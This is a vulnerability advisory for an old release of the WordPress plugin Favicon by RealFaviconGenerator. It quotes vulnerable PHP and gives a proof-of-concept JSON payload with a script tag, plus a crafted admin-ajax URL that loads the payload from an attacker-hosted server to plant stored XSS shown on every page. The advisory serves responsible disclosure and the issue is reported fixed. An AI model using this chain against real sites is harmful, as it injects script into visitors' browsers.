Nonce token is not checked inside install_new_favicon()
function.
We can parse json file from every server because of $_REQUEST['json_result_url']
.
XSS will be stored as OPTION_HTML_CODE
which is displayed on every page.
File: favicon-by-realfavicongenerator\admin\class-favicon-by-realfavicongenerator-admin.php
add_action('wp_ajax_' . Favicon_By_RealFaviconGenerator_Common::PLUGIN_PREFIX . '_install_new_favicon',
array( $this, 'install_new_favicon' ) );
add_action('wp_ajax_nopriv_' . Favicon_By_RealFaviconGenerator_Common::PLUGIN_PREFIX . '_install_new_favicon',
array( $this, 'install_new_favicon' ) );
public function install_new_favicon() {
header("Content-type: application/json");
try {
// URL is explicitely decoded to compensate the extra encoding performed while generating the settings page
$url = $_REQUEST['json_result_url'];
$result = $this->download_result_json( $url );
$response = new Favicon_By_RealFaviconGenerator_Api_Response( $result );
$zip_path = Favicon_By_RealFaviconGenerator_Common::get_tmp_dir();
if ( ! file_exists( $zip_path ) ) {
mkdir( $zip_path, 0755, true );
}
$response->downloadAndUnpack( $zip_path );
$this->store_pictures( $response );
$this->store_preview( $response->getPreviewPath() );
Favicon_By_RealFaviconGenerator_Common::remove_directory( $zip_path );
update_option( Favicon_By_RealFaviconGenerator_Common::OPTION_HTML_CODE, $response->getHtmlCode() );
$this->set_favicon_configured( true, $response->isFilesInRoot(), $response->getVersion() );
?>
{
"status": "success",
"preview_url": <?php echo json_encode( $this->get_preview_url() ) ?>,
"favicon_in_root": <?php echo json_encode( $this->is_favicon_in_root() ) ?>
}
<?php
}
catch(Exception $e) {
?>
{
"status": "error",
"message": <?php echo json_encode( $e->getMessage() ) ?>
}
<?php
}
die();
}
File: favicon-by-realfavicongenerator\public\class-favicon-by-realfavicongenerator-common.php
add_action( 'admin_head', array( $this, 'add_favicon_markups' ) );
public function add_favicon_markups() {
$code = get_option( Favicon_By_RealFaviconGenerator_Common::OPTION_HTML_CODE );
if ( $code ) {
echo $code;
}
}
Proof of Concept
Store payload on your server:
{"favicon_generation_result":{"favicon":{"html_code":"<script>alert(1);<\/script>","package_url":"http:\/\/example.com","compression":"true"},"preview_picture_url":"http:\/\/example.com","files_location":{"type":"root","path":"path"},"result":{"status":"success"}}}
Then admin must visit url:
http://wordpress-url/wp-admin/admin-ajax.php?action=fbrfg_install_new_favicon&json_result_url=http://your_server/your_file
XSS will be visible for everyone on every page.
Timeline
- 27-03-2015: Discovered
- 27-03-2015: Vendor notified
- 01-04-2015: Version 1.2.13 released, issue resolved